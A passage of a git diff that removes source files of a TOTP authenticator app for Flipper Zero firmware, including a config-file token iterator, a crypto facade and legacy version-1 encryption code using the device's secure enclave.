flipper_format_seek_to_siblinig_token_start(Stream* stream, StreamDirection direction) { - char buffer[sizeof(TOTP_CONFIG_KEY_TOKEN_NAME) + 1]; - bool found = false; - while(!found) { - if(!stream_seek_to_char(stream, '\n', direction)) { - break; - } - - size_t buffer_read_size; - if((buffer_read_size = stream_read(stream, (uint8_t*)&buffer[0], sizeof(buffer))) == 0) { - break; - } - - if(!stream_seek(stream, -(int32_t)buffer_read_size, StreamOffsetFromCurrent)) { - break; - } - - if(strncmp(buffer, "\n" TOTP_CONFIG_KEY_TOKEN_NAME ":", sizeof(buffer)) == 0) { - found = true; - } - } - - return found; -} - -static bool seek_to_token(size_t token_index, TokenInfoIteratorContext* context) { - furi_check(context != NULL && context->config_file != NULL); - if(token_index >= context->total_count) { - return false; - } - - Stream* stream = flipper_format_get_raw_stream(context->config_file); - long token_index_diff = (long)token_index - (long)context->last_seek_index; - size_t token_index_diff_weight = (size_t)labs(token_index_diff); - StreamDirection direction = token_index_diff >= 0 ? StreamDirectionForward : - StreamDirectionBackward; - if(token_index_diff_weight > token_index || context->last_seek_offset == 0) { - context->last_seek_offset = 0; - context->last_seek_index = 0; - token_index_diff = token_index + 1; - direction = StreamDirectionForward; - } else if(token_index_diff_weight > (context->total_count - token_index - 1)) { - context->last_seek_offset = stream_size(stream); - context->last_seek_index = context->total_count - 1; - token_index_diff = -(long)(context->total_count - token_index); - direction = StreamDirectionBackward; - } - - if(!stream_seek(stream, context->last_seek_offset, StreamOffsetFromStart)) { - return false; - } - - if(token_index_diff != 0) { - long i = 0; - long i_inc = token_index_diff >= 0 ? 1 : -1; - do { - if(!flipper_format_seek_to_siblinig_token_start(stream, direction)) { - break; - } - - i += i_inc; - } while((i_inc > 0 && i < token_index_diff) || (i_inc < 0 && i > token_index_diff)); - - if((i_inc > 0 && i < token_index_diff) || (i_inc < 0 && i > token_index_diff)) { - context->last_seek_offset = 0; - FURI_LOG_D(LOGGING_TAG, "Was not able to move"); - return false; - } - - context->last_seek_offset = stream_tell(stream); - context->last_seek_index = token_index; - } - - return true; -} - -static bool stream_insert_stream(Stream* dst, Stream* src) { - uint8_t buffer[STREAM_COPY_BUFFER_SIZE]; - size_t buffer_read_size; - while((buffer_read_size = stream_read(src, buffer, sizeof(buffer))) != 0) { - if(!stream_insert(dst, buffer, buffer_read_size)) { - return false; - } - } - - return true; -} - -static bool ensure_stream_ends_with_lf(Stream* stream) { - uint8_t last_char; - size_t original_pos = stream_tell(stream); - if(!stream_seek(stream, -1, StreamOffsetFromEnd) || stream_read(stream, &last_char, 1) < 1) { - return false; - } - - const uint8_t lf = '\n'; - if(last_char != lf && !stream_write(stream, &lf, 1)) { - return false; - } - - if(!stream_seek(stream, original_pos, StreamOffsetFromStart)) { - return false; - } - - return true; -} - -static bool - totp_token_info_iterator_save_current_token_info_changes(TokenInfoIteratorContext* context) { - bool is_new_token = context->current_index >= context->total_count; - Stream* stream = flipper_format_get_raw_stream(context->config_file); - if(is_new_token) { - if(!ensure_stream_ends_with_lf(stream) || - !flipper_format_seek_to_end(context->config_file)) { - return false; - } - } else { - if(!seek_to_token(context->current_index, context)) { - return false; - } - } - - size_t offset_start = stream_tell(stream); - - size_t offset_end; - if(is_new_token) { - offset_end = offset_start; - } else if(context->current_index + 1 >= context->total_count) { - offset_end = stream_size(stream); - } else if(seek_to_token(context->current_index + 1, context)) { - offset_end = stream_tell(stream); - } else { - return false; - } - - FlipperFormat* temp_ff = flipper_format_file_alloc(context->storage); - if(!flipper_format_file_open_always(temp_ff, CONFIG_FILE_PART_FILE_PATH)) { - flipper_format_free(temp_ff); - return false; - } - - TokenInfo* token_info = context->current_token; - bool result = false; - - do { - if(!flipper_format_write_string(temp_ff, TOTP_CONFIG_KEY_TOKEN_NAME, token_info->name)) { - break; - } - - if(!flipper_format_write_hex( - temp_ff, - TOTP_CONFIG_KEY_TOKEN_SECRET, - token_info->token, - token_info->token_length)) { - break; - } - - uint32_t tmp_uint32 = token_info->algo; - if(!flipper_format_write_uint32(temp_ff, TOTP_CONFIG_KEY_TOKEN_ALGO, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = token_info->digits; - if(!flipper_format_write_uint32(temp_ff, TOTP_CONFIG_KEY_TOKEN_DIGITS, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = token_info->duration; - if(!flipper_format_write_uint32(temp_ff, TOTP_CONFIG_KEY_TOKEN_DURATION, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = token_info->automation_features; - if(!flipper_format_write_uint32( - temp_ff, TOTP_CONFIG_KEY_TOKEN_AUTOMATION_FEATURES, &tmp_uint32, 1)) { - break; - } - - Stream* temp_stream = flipper_format_get_raw_stream(temp_ff); - - if(!stream_rewind(temp_stream)) { - break; - } - - if(!stream_seek(stream, offset_start, StreamOffsetFromStart)) { - break; - } - - if(offset_end != offset_start && !stream_delete(stream, offset_end - offset_start)) { - break; - } - - if(!is_new_token && !stream_write_char(stream, '\n')) { - break; - } - - if(!stream_insert_stream(stream, temp_stream)) { - break; - } - - if(is_new_token) { - context->total_count++; - } - - result = true; - } while(false); - - flipper_format_free(temp_ff); - storage_common_remove(context->storage, CONFIG_FILE_PART_FILE_PATH); - - stream_seek(stream, offset_start, StreamOffsetFromStart); - context->last_seek_offset = offset_start; - context->last_seek_index = context->current_index; - - return result; -} - -TokenInfoIteratorContext* totp_token_info_iterator_alloc( - Storage* storage, - FlipperFormat* config_file, - CryptoSettings* crypto_settings) { - Stream* stream = flipper_format_get_raw_stream(config_file); - stream_rewind(stream); - size_t tokens_count = 0; - while(true) { - if(!flipper_format_seek_to_siblinig_token_start(stream, StreamDirectionForward)) { - break; - } - - tokens_count++; - } - - TokenInfoIteratorContext* context = malloc(sizeof(TokenInfoIteratorContext)); - furi_check(context != NULL); - - context->total_count = tokens_count; - context->current_token = token_info_alloc(); - context->config_file = config_file; - context->crypto_settings = crypto_settings; - context->storage = storage; - return context; -} - -void totp_token_info_iterator_free(TokenInfoIteratorContext* context) { - if(context == NULL) return; - token_info_free(context->current_token); - free(context); -} - -bool totp_token_info_iterator_remove_current_token_info(TokenInfoIteratorContext* context) { - if(!seek_to_token(context->current_index, context)) { - return false; - } - - Stream* stream = flipper_format_get_raw_stream(context->config_file); - size_t begin_offset = stream_tell(stream); - size_t end_offset; - if(!ensure_stream_ends_with_lf(stream)) { - return false; - } - - if(context->current_index >= context->total_count - 1) { - end_offset = stream_size(stream) - 1; - } else if(seek_to_token(context->current_index + 1, context)) { - end_offset = stream_tell(stream); - } else { - return false; - } - - if(!stream_seek(stream, begin_offset, StreamOffsetFromStart) || - !stream_delete(stream, end_offset - begin_offset)) { - return false; - } - - context->total_count--; - if(context->current_index >= context->total_count) { - context->current_index = context->total_count - 1; - } - - return true; -} - -bool totp_token_info_iterator_move_current_token_info( - TokenInfoIteratorContext* context, - size_t new_index) { - if(context->current_index == new_index) return true; - - Stream* stream = flipper_format_get_raw_stream(context->config_file); - - if(!ensure_stream_ends_with_lf(stream)) { - return false; - } - - if(!seek_to_token(context->current_index, context)) { - return false; - } - - size_t begin_offset = stream_tell(stream); - size_t end_offset; - if(context->current_index >= context->total_count - 1) { - end_offset = stream_size(stream) - 1; - } else if(seek_to_token(context->current_index + 1, context)) { - end_offset = stream_tell(stream); - } else { - return false; - } - - Stream* temp_stream = file_stream_alloc(context->storage); - if(!file_stream_open( - temp_stream, CONFIG_FILE_PART_FILE_PATH, FSAM_READ_WRITE, FSOM_CREATE_ALWAYS)) { - stream_free(temp_stream); - return false; - } - - size_t moving_size = end_offset - begin_offset; - - bool result = false; - do { - if(!stream_seek(stream, begin_offset, StreamOffsetFromStart)) { - break; - } - - if(stream_copy(stream, temp_stream, moving_size) < moving_size) { - break; - } - - if(!stream_rewind(temp_stream)) { - break; - } - - if(!stream_seek(stream, begin_offset, StreamOffsetFromStart)) { - break; - } - - if(!stream_delete(stream, moving_size)) { - break; - } - - context->last_seek_offset = 0; - context->last_seek_index = 0; - if(new_index >= context->total_count - 1) { - if(!stream_seek(stream, stream_size(stream) - 1, StreamOffsetFromStart)) { - break; - } - } else if(!seek_to_token(new_index, context)) { - break; - } - - result = stream_insert_stream(stream, temp_stream); - } while(false); - - stream_free(temp_stream); - storage_common_remove(context->storage, CONFIG_FILE_PART_FILE_PATH); - - context->last_seek_offset = 0; - context->last_seek_index = 0; - - return result; -} - -TotpIteratorUpdateTokenResult totp_token_info_iterator_update_current_token( - TokenInfoIteratorContext* context, - TOTP_ITERATOR_UPDATE_TOKEN_ACTION update, - const void* update_context) { - TotpIteratorUpdateTokenResult result = update(context->current_token, update_context); - if(result == TotpIteratorUpdateTokenResultSuccess) { - if(!totp_token_info_iterator_save_current_token_info_changes(context)) { - result = TotpIteratorUpdateTokenResultFileUpdateFailed; - } - - return result; - } - - totp_token_info_iterator_go_to(context, context->current_index); - return result; -} - -TotpIteratorUpdateTokenResult totp_token_info_iterator_add_new_token( - TokenInfoIteratorContext* context, - TOTP_ITERATOR_UPDATE_TOKEN_ACTION update, - const void* update_context) { - size_t previous_index = context->current_index; - context->current_index = context->total_count; - token_info_set_defaults(context->current_token); - TotpIteratorUpdateTokenResult result = update(context->current_token, update_context); - if(result == TotpIteratorUpdateTokenResultSuccess && - !totp_token_info_iterator_save_current_token_info_changes(context)) { - result = TotpIteratorUpdateTokenResultFileUpdateFailed; - } - - if(result != TotpIteratorUpdateTokenResultSuccess) { - totp_token_info_iterator_go_to(context, previous_index); - } - - return result; -} - -bool totp_token_info_iterator_go_to(TokenInfoIteratorContext* context, size_t token_index) { - furi_check(context != NULL); - context->current_index = token_index; - if(!seek_to_token(context->current_index, context)) { - return false; - } - - Stream* stream = flipper_format_get_raw_stream(context->config_file); - size_t original_offset = stream_tell(stream); - - if(!flipper_format_read_string( - context->config_file, TOTP_CONFIG_KEY_TOKEN_NAME, context->current_token->name)) { - stream_seek(stream, original_offset, StreamOffsetFromStart); - return false; - } - - uint32_t secret_bytes_count; - if(!flipper_format_get_value_count( - context->config_file, TOTP_CONFIG_KEY_TOKEN_SECRET, &secret_bytes_count)) { - secret_bytes_count = 0; - } - TokenInfo* tokenInfo = context->current_token; - bool token_update_needed = false; - if(tokenInfo->token != NULL) { - free(tokenInfo->token); - tokenInfo->token_length = 0; - } - - if(secret_bytes_count == 1) { // Plain secret key - FuriString* temp_str = furi_string_alloc(); - - if(flipper_format_read_string( - context->config_file, TOTP_CONFIG_KEY_TOKEN_SECRET, temp_str)) { - if(token_info_set_secret( - tokenInfo, - furi_string_get_cstr(temp_str), - furi_string_size(temp_str), - PlainTokenSecretEncodingBase32, - context->crypto_settings)) { - FURI_LOG_W( - LOGGING_TAG, - "Token \"%s\" has plain secret", - furi_string_get_cstr(tokenInfo->name)); - token_update_needed = true; - } else { - tokenInfo->token = NULL; - tokenInfo->token_length = 0; - FURI_LOG_W( - LOGGING_TAG, - "Token \"%s\" has invalid secret", - furi_string_get_cstr(tokenInfo->name)); - } - } else { - tokenInfo->token = NULL; - tokenInfo->token_length = 0; - } - - furi_string_free(temp_str); - } else { // encrypted - tokenInfo->token_length = secret_bytes_count; - if(secret_bytes_count > 0) { - tokenInfo->token = malloc(tokenInfo->token_length); - furi_check(tokenInfo->token != NULL); - if(!flipper_format_read_hex( - context->config_file, - TOTP_CONFIG_KEY_TOKEN_SECRET, - tokenInfo->token, - tokenInfo->token_length)) { - free(tokenInfo->token); - tokenInfo->token = NULL; - tokenInfo->token_length = 0; - } - } else { - tokenInfo->token = NULL; - } - } - - uint32_t temp_data32; - if(!flipper_format_read_uint32( - context->config_file, TOTP_CONFIG_KEY_TOKEN_ALGO, &temp_data32, 1) || - !token_info_set_algo_from_int(tokenInfo, temp_data32)) { - tokenInfo->algo = TokenHashAlgoDefault; - } - - if(!flipper_format_read_uint32( - context->config_file, TOTP_CONFIG_KEY_TOKEN_DIGITS, &temp_data32, 1) || - !token_info_set_digits_from_int(tokenInfo, temp_data32)) { - tokenInfo->digits = TokenDigitsCountSix; - } - - if(!flipper_format_read_uint32( - context->config_file, TOTP_CONFIG_KEY_TOKEN_DURATION, &temp_data32, 1) || - !token_info_set_duration_from_int(tokenInfo, temp_data32)) { - tokenInfo->duration = TokenDurationDefault; - } - - if(flipper_format_read_uint32( - context->config_file, TOTP_CONFIG_KEY_TOKEN_AUTOMATION_FEATURES, &temp_data32, 1)) { - tokenInfo->automation_features = temp_data32; - } else { - tokenInfo->automation_features = TokenAutomationFeatureNone; - } - - stream_seek(stream, original_offset, StreamOffsetFromStart); - - if(token_update_needed && !totp_token_info_iterator_save_current_token_info_changes(context)) { - return false; - } - - return true; -} - -const TokenInfo* - totp_token_info_iterator_get_current_token(const TokenInfoIteratorContext* context) { - return context->current_token; -} - -size_t totp_token_info_iterator_get_current_token_index(const TokenInfoIteratorContext* context) { - return context->current_index; -} - -size_t totp_token_info_iterator_get_total_count(const TokenInfoIteratorContext* context) { - return context->total_count; -} - -void totp_token_info_iterator_attach_to_config_file( - TokenInfoIteratorContext* context, - FlipperFormat* config_file) { - context->config_file = config_file; - Stream* stream = flipper_format_get_raw_stream(context->config_file); - stream_seek(stream, context->last_seek_offset, StreamOffsetFromStart); -} \ No newline at end of file diff --git a/applications/external/totp/services/config/token_info_iterator.h b/applications/external/totp/services/config/token_info_iterator.h deleted file mode 100644 index ce4d8c72b..000000000 --- a/applications/external/totp/services/config/token_info_iterator.h +++ /dev/null @@ -1,123 +0,0 @@ -#pragma once - -#include "../../types/token_info.h" -#include -#include "constants.h" - -typedef int TotpIteratorUpdateTokenResult; - -typedef TotpIteratorUpdateTokenResult ( - *TOTP_ITERATOR_UPDATE_TOKEN_ACTION)(TokenInfo* const token_info, const void* context); - -typedef struct TokenInfoIteratorContext TokenInfoIteratorContext; - -enum TotpIteratorUpdateTokenResults { - - /** - * @brief Token successfully updated - */ - TotpIteratorUpdateTokenResultSuccess = 0, - - /** - * @brief An error ocurred during updating config file - */ - TotpIteratorUpdateTokenResultFileUpdateFailed = -1 -}; - -/** - * @brief Initializes a new token info iterator - * @param storage storage reference - * @param config_file config file to use - * @param crypto_settings crypto settings - * @return Token info iterator context - */ -TokenInfoIteratorContext* totp_token_info_iterator_alloc( - Storage* storage, - FlipperFormat* config_file, - CryptoSettings* crypto_settings); - -/** - * @brief Navigates iterator to the token with given index - * @param context token info iterator context - * @param token_index token index to navigate to - * @return \c true if navigation succeeded; \c false otherwise - */ -bool totp_token_info_iterator_go_to(TokenInfoIteratorContext* context, size_t token_index); - -/** - * @brief Moves current token to a given new index - * @param context token info iterator context - * @param new_index new token index to move current token to - * @return \c true if operation succeeded; \c false otherwise - */ -bool totp_token_info_iterator_move_current_token_info( - TokenInfoIteratorContext* context, - size_t new_index); - -/** - * @brief Updates current token info using given update action - * @param context token info iterator context - * @param update action which is responsible to make all the necessary updates to token info - * @param update_context update action context - * @return \c true if operation succeeded; \c false otherwise - */ -TotpIteratorUpdateTokenResult totp_token_info_iterator_update_current_token( - TokenInfoIteratorContext* context, - TOTP_ITERATOR_UPDATE_TOKEN_ACTION update, - const void* update_context); - -/** - * @brief Adds new token info to the end of the list using given update action - * @param context token info iterator context - * @param update action which is responsible to make all the necessary updates to token info - * @param update_context update action context - * @return \c true if operation succeeded; \c false otherwise - */ -TotpIteratorUpdateTokenResult totp_token_info_iterator_add_new_token( - TokenInfoIteratorContext* context, - TOTP_ITERATOR_UPDATE_TOKEN_ACTION update, - const void* update_context); - -/** - * @brief Remvoves current token info - * @param context token info iterator context - * @return \c true if operation succeeded; \c false otherwise - */ -bool totp_token_info_iterator_remove_current_token_info(TokenInfoIteratorContext* context); - -/** - * @brief Disposes token info iterator and releases all the resources - * @param context token info iterator context - */ -void totp_token_info_iterator_free(TokenInfoIteratorContext* context); - -/** - * @brief Gets current token info - * @param context token info iterator context - * @return current token info - */ -const TokenInfo* - totp_token_info_iterator_get_current_token(const TokenInfoIteratorContext* context); - -/** - * @brief Gets current token info index - * @param context token info iterator context - * @return current token info index - */ -size_t totp_token_info_iterator_get_current_token_index(const TokenInfoIteratorContext* context); - -/** - * @brief Gets total amount of token infos found - * @param context token info iterator context - * @return amount of token infos found - */ -size_t totp_token_info_iterator_get_total_count(const TokenInfoIteratorContext* context); - -/** - * @brief Attaches token info iterator to another config file - * @param context token info iterator context - * @param config_file config file reference to attach token info iterator to - */ -void totp_token_info_iterator_attach_to_config_file( - TokenInfoIteratorContext* context, - FlipperFormat* config_file); diff --git a/applications/external/totp/services/convert/convert.h b/applications/external/totp/services/convert/convert.h deleted file mode 100644 index 740d47ace..000000000 --- a/applications/external/totp/services/convert/convert.h +++ /dev/null @@ -1,4 +0,0 @@ -#pragma once - -#define CONVERT_DIGIT_TO_CHAR(digit) ((digit) + '0') -#define CONVERT_CHAR_TO_DIGIT(ch) ((ch) - '0') diff --git a/applications/external/totp/services/crypto/common_types.h b/applications/external/totp/services/crypto/common_types.h deleted file mode 100644 index fb8e4c83c..000000000 --- a/applications/external/totp/services/crypto/common_types.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once - -#include - -typedef uint8_t CryptoSeedIVResult; - -enum CryptoSeedIVResults { - - /** - * @brief IV seeding operation failed - */ - CryptoSeedIVResultFailed = 0b00, - - /** - * @brief IV seeding operation succeeded - */ - CryptoSeedIVResultFlagSuccess = 0b01, - - /** - * @brief As a part of IV seeding operation new crypto verify data has been generated - */ - CryptoSeedIVResultFlagNewCryptoVerifyData = 0b10 -}; \ No newline at end of file diff --git a/applications/external/totp/services/crypto/constants.h b/applications/external/totp/services/crypto/constants.h deleted file mode 100644 index bb3affbd0..000000000 --- a/applications/external/totp/services/crypto/constants.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include "polyfills.h" - -#define CRYPTO_IV_LENGTH (16) -#define CRYPTO_SALT_LENGTH (16) - -// According to this explanation: https://github.com/flipperdevices/flipperzero-firmware/issues/2885#issuecomment-1646664666 -// disabling usage of any key which is "the same across all devices" -#define ACCEPTABLE_CRYPTO_KEY_SLOT_START FURI_HAL_CRYPTO_ENCLAVE_USER_KEY_SLOT_START -#define ACCEPTABLE_CRYPTO_KEY_SLOT_END FURI_HAL_CRYPTO_ENCLAVE_USER_KEY_SLOT_END - -#define DEFAULT_CRYPTO_KEY_SLOT ACCEPTABLE_CRYPTO_KEY_SLOT_START -#define CRYPTO_LATEST_VERSION (3) \ No newline at end of file diff --git a/applications/external/totp/services/crypto/crypto_facade.c b/applications/external/totp/services/crypto/crypto_facade.c deleted file mode 100644 index 29e588073..000000000 --- a/applications/external/totp/services/crypto/crypto_facade.c +++ /dev/null @@ -1,118 +0,0 @@ -#include "crypto_facade.h" -#include "../../config/app/config.h" -#include -#include -#ifdef TOTP_OBSOLETE_CRYPTO_V1_COMPATIBILITY_ENABLED -#include "crypto_v1.h" -#endif -#ifdef TOTP_OBSOLETE_CRYPTO_V2_COMPATIBILITY_ENABLED -#include "crypto_v2.h" -#endif -#include "crypto_v3.h" -#include "constants.h" - -bool totp_crypto_check_key_slot(uint8_t key_slot) { - uint8_t empty_iv[CRYPTO_IV_LENGTH] = {0}; - if(key_slot < ACCEPTABLE_CRYPTO_KEY_SLOT_START || key_slot > ACCEPTABLE_CRYPTO_KEY_SLOT_END) { - return false; - } - - return furi_hal_crypto_enclave_ensure_key(key_slot) && - furi_hal_crypto_enclave_load_key(key_slot, empty_iv) && - furi_hal_crypto_enclave_unload_key(key_slot); -} - -uint8_t* totp_crypto_encrypt( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length) { -#ifdef TOTP_OBSOLETE_CRYPTO_V1_COMPATIBILITY_ENABLED - if(crypto_settings->crypto_version == 1) { - return totp_crypto_encrypt_v1( - plain_data, plain_data_length, crypto_settings, encrypted_data_length); - } -#endif - -#ifdef TOTP_OBSOLETE_CRYPTO_V2_COMPATIBILITY_ENABLED - if(crypto_settings->crypto_version == 2) { - return totp_crypto_encrypt_v2( - plain_data, plain_data_length, crypto_settings, encrypted_data_length); - } -#endif - - if(crypto_settings->crypto_version == 3) { - return totp_crypto_encrypt_v3( - plain_data, plain_data_length, crypto_settings, encrypted_data_length); - } - - furi_crash("Unsupported crypto version"); -} - -uint8_t* totp_crypto_decrypt( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length) { -#ifdef TOTP_OBSOLETE_CRYPTO_V1_COMPATIBILITY_ENABLED - if(crypto_settings->crypto_version == 1) { - return totp_crypto_decrypt_v1( - encrypted_data, encrypted_data_length, crypto_settings, decrypted_data_length); - } -#endif - -#ifdef TOTP_OBSOLETE_CRYPTO_V2_COMPATIBILITY_ENABLED - if(crypto_settings->crypto_version == 2) { - return totp_crypto_decrypt_v2( - encrypted_data, encrypted_data_length, crypto_settings, decrypted_data_length); - } -#endif - - if(crypto_settings->crypto_version == 3) { - return totp_crypto_decrypt_v3( - encrypted_data, encrypted_data_length, crypto_settings, decrypted_data_length); - } - - furi_crash("Unsupported crypto version"); -} - -CryptoSeedIVResult - totp_crypto_seed_iv(CryptoSettings* crypto_settings, const uint8_t* pin, uint8_t pin_length) { -#ifdef TOTP_OBSOLETE_CRYPTO_V1_COMPATIBILITY_ENABLED - if(crypto_settings->crypto_version == 1) { - return totp_crypto_seed_iv_v1(crypto_settings, pin, pin_length); - } -#endif - -#ifdef TOTP_OBSOLETE_CRYPTO_V2_COMPATIBILITY_ENABLED - if(crypto_settings->crypto_version == 2) { - return totp_crypto_seed_iv_v2(crypto_settings, pin, pin_length); - } -#endif - - if(crypto_settings->crypto_version == 3) { - return totp_crypto_seed_iv_v3(crypto_settings, pin, pin_length); - } - - furi_crash("Unsupported crypto version"); -} - -bool totp_crypto_verify_key(const CryptoSettings* crypto_settings) { -#ifdef TOTP_OBSOLETE_CRYPTO_V1_COMPATIBILITY_ENABLED - if(crypto_settings->crypto_version == 1) { - return totp_crypto_verify_key_v1(crypto_settings); - } -#endif - -#ifdef TOTP_OBSOLETE_CRYPTO_V2_COMPATIBILITY_ENABLED - if(crypto_settings->crypto_version == 2) { - return totp_crypto_verify_key_v2(crypto_settings); - } -#endif - - if(crypto_settings->crypto_version == 3) { - return totp_crypto_verify_key_v3(crypto_settings); - } - - furi_crash("Unsupported crypto version"); -} \ No newline at end of file diff --git a/applications/external/totp/services/crypto/crypto_facade.h b/applications/external/totp/services/crypto/crypto_facade.h deleted file mode 100644 index bbcbf7c00..000000000 --- a/applications/external/totp/services/crypto/crypto_facade.h +++ /dev/null @@ -1,59 +0,0 @@ -#pragma once - -#include -#include -#include -#include "../../types/crypto_settings.h" -#include "common_types.h" - -/** - * @brief Checks whether key slot can be used for encryption purposes - * @param key_slot key slot index - * @return \c true if key slot can be used for encryption; \c false otherwise - */ -bool totp_crypto_check_key_slot(uint8_t key_slot); - -/** - * @brief Encrypts plain data using built-in certificate and given initialization vector (IV) - * @param plain_data plain data to be encrypted - * @param plain_data_length plain data length - * @param crypto_settings crypto settings - * @param[out] encrypted_data_length encrypted data length - * @return Encrypted data - */ -uint8_t* totp_crypto_encrypt( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length); - -/** - * @brief Decrypts encrypted data using built-in certificate and given initialization vector (IV) - * @param encrypted_data encrypted data to be decrypted - * @param encrypted_data_length encrypted data length - * @param crypto_settings crypto settings - * @param[out] decrypted_data_length decrypted data length - * @return Decrypted data - */ -uint8_t* totp_crypto_decrypt( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length); - -/** - * @brief Seed initialization vector (IV) using user's PIN - * @param crypto_settings crypto settings - * @param pin user's PIN - * @param pin_length user's PIN length - * @return Results of seeding IV - */ -CryptoSeedIVResult - totp_crypto_seed_iv(CryptoSettings* crypto_settings, const uint8_t* pin, uint8_t pin_length); - -/** - * @brief Verifies whether cryptographic information (certificate + IV) is valid and can be used for encryption and decryption - * @param crypto_settings crypto settings - * @return \c true if cryptographic information is valid; \c false otherwise - */ -bool totp_crypto_verify_key(const CryptoSettings* crypto_settings); diff --git a/applications/external/totp/services/crypto/crypto_v1.c b/applications/external/totp/services/crypto/crypto_v1.c deleted file mode 100644 index b6ead80b1..000000000 --- a/applications/external/totp/services/crypto/crypto_v1.c +++ /dev/null @@ -1,145 +0,0 @@ -#include "crypto_v1.h" -#ifdef TOTP_OBSOLETE_CRYPTO_V1_COMPATIBILITY_ENABLED -#include -#include -#include -#include -#include -#include "../../types/common.h" -#include "memset_s.h" -#include "polyfills.h" - -#define CRYPTO_KEY_SLOT (2) -#define CRYPTO_VERIFY_KEY_LENGTH (16) -#define CRYPTO_ALIGNMENT_FACTOR (16) -#define TOTP_IV_SIZE (16) - -static const char* CRYPTO_VERIFY_KEY = "FFF_Crypto_pass"; - -uint8_t* totp_crypto_encrypt_v1( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length) { - uint8_t* encrypted_data; - size_t remain = plain_data_length % CRYPTO_ALIGNMENT_FACTOR; - if(remain) { - size_t plain_data_aligned_length = plain_data_length - remain + CRYPTO_ALIGNMENT_FACTOR; - uint8_t* plain_data_aligned = malloc(plain_data_aligned_length); - furi_check(plain_data_aligned != NULL); - memset(plain_data_aligned, 0, plain_data_aligned_length); - memcpy(plain_data_aligned, plain_data, plain_data_length); - - encrypted_data = malloc(plain_data_aligned_length); - furi_check(encrypted_data != NULL); - *encrypted_data_length = plain_data_aligned_length; - - furi_hal_crypto_enclave_load_key(CRYPTO_KEY_SLOT, crypto_settings->iv); - furi_hal_crypto_encrypt(plain_data_aligned, encrypted_data, plain_data_aligned_length); - furi_hal_crypto_enclave_unload_key(CRYPTO_KEY_SLOT); - - memset_s(plain_data_aligned, plain_data_aligned_length, 0, plain_data_aligned_length); - free(plain_data_aligned); - } else { - encrypted_data = malloc(plain_data_length); - furi_check(encrypted_data != NULL); - *encrypted_data_length = plain_data_length; - - furi_hal_crypto_enclave_load_key(CRYPTO_KEY_SLOT, crypto_settings->iv); - furi_hal_crypto_encrypt(plain_data, encrypted_data, plain_data_length); - furi_hal_crypto_enclave_unload_key(CRYPTO_KEY_SLOT); - } - - return encrypted_data; -} - -uint8_t* totp_crypto_decrypt_v1( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length) { - *decrypted_data_length = encrypted_data_length; - uint8_t* decrypted_data = malloc(*decrypted_data_length); - furi_check(decrypted_data != NULL); - furi_hal_crypto_enclave_load_key(CRYPTO_KEY_SLOT, crypto_settings->iv); - furi_hal_crypto_decrypt(encrypted_data, decrypted_data, encrypted_data_length); - furi_hal_crypto_enclave_unload_key(CRYPTO_KEY_SLOT); - return decrypted_data; -} - -CryptoSeedIVResult totp_crypto_seed_iv_v1( - CryptoSettings* crypto_settings, - const uint8_t* pin, - uint8_t pin_length) { - CryptoSeedIVResult result; - if(crypto_settings->crypto_verify_data == NULL) { - FURI_LOG_I(LOGGING_TAG, "Generating new IV"); - furi_hal_random_fill_buf(&crypto_settings->salt[0], CRYPTO_SALT_LENGTH); - } - - memcpy(&crypto_settings->iv[0], &crypto_settings->salt[0], TOTP_IV_SIZE); - if(pin != NULL && pin_length > 0) { - uint8_t max_i; - if(pin_length > TOTP_IV_SIZE) { - max_i = TOTP_IV_SIZE; - } else { - max_i = pin_length; - } - - for(uint8_t i = 0; i < max_i; i++) { - crypto_settings->iv[i] = crypto_settings->iv[i] ^ (uint8_t)(pin[i] * (i + 1)); - } - } else { - uint8_t max_i; - size_t uid_size = furi_hal_version_uid_size(); - if(uid_size > TOTP_IV_SIZE) { - max_i = TOTP_IV_SIZE; - } else { - max_i = uid_size; - } - - const uint8_t* uid = (const uint8_t*)UID64_BASE; //-V566 - for(uint8_t i = 0; i < max_i; i++) { - crypto_settings->iv[i] = crypto_settings->iv[i] ^ uid[i]; - } - } - - result = CryptoSeedIVResultFlagSuccess; - if(crypto_settings->crypto_verify_data == NULL) { - FURI_LOG_I(LOGGING_TAG, "Generating crypto verify data"); - crypto_settings->crypto_verify_data = malloc(CRYPTO_VERIFY_KEY_LENGTH); - furi_check(crypto_settings->crypto_verify_data != NULL); - crypto_settings->crypto_verify_data_length = CRYPTO_VERIFY_KEY_LENGTH; - - crypto_settings->crypto_verify_data = totp_crypto_encrypt_v1( - (const uint8_t*)CRYPTO_VERIFY_KEY, - CRYPTO_VERIFY_KEY_LENGTH, - crypto_settings, - &crypto_settings->crypto_verify_data_length); - - crypto_settings->pin_required = pin != NULL && pin_length > 0; - - result |= CryptoSeedIVResultFlagNewCryptoVerifyData; - } - - return result; -} - -bool totp_crypto_verify_key_v1(const CryptoSettings* crypto_settings) { - size_t decrypted_key_length; - uint8_t* decrypted_key = totp_crypto_decrypt_v1( - crypto_settings->crypto_verify_data, - crypto_settings->crypto_verify_data_length, - crypto_settings, - &decrypted_key_length); - - bool key_valid = true; - for(uint8_t i = 0; i < CRYPTO_VERIFY_KEY_LENGTH && key_valid; i++) { - if(decrypted_key[i] != CRYPTO_VERIFY_KEY[i]) key_valid = false; - } - - free(decrypted_key); - - return key_valid; -} -#endif \ No newline at end of file diff --git a/applications/external/totp/services/crypto/crypto_v1.h b/applications/external/totp/services/crypto/crypto_v1.h deleted file mode 100644 index 859615ae3..000000000 --- a/applications/external/totp/services/crypto/crypto_v1.h +++ /dev/null @@ -1,55 +0,0 @@ -#pragma once - -#include "../../config/app/config.h" -#ifdef TOTP_OBSOLETE_CRYPTO_V1_COMPATIBILITY_ENABLED -#include -#include -#include -#include "../../types/crypto_settings.h" -#include "common_types.h" - -/** - * @brief Encrypts 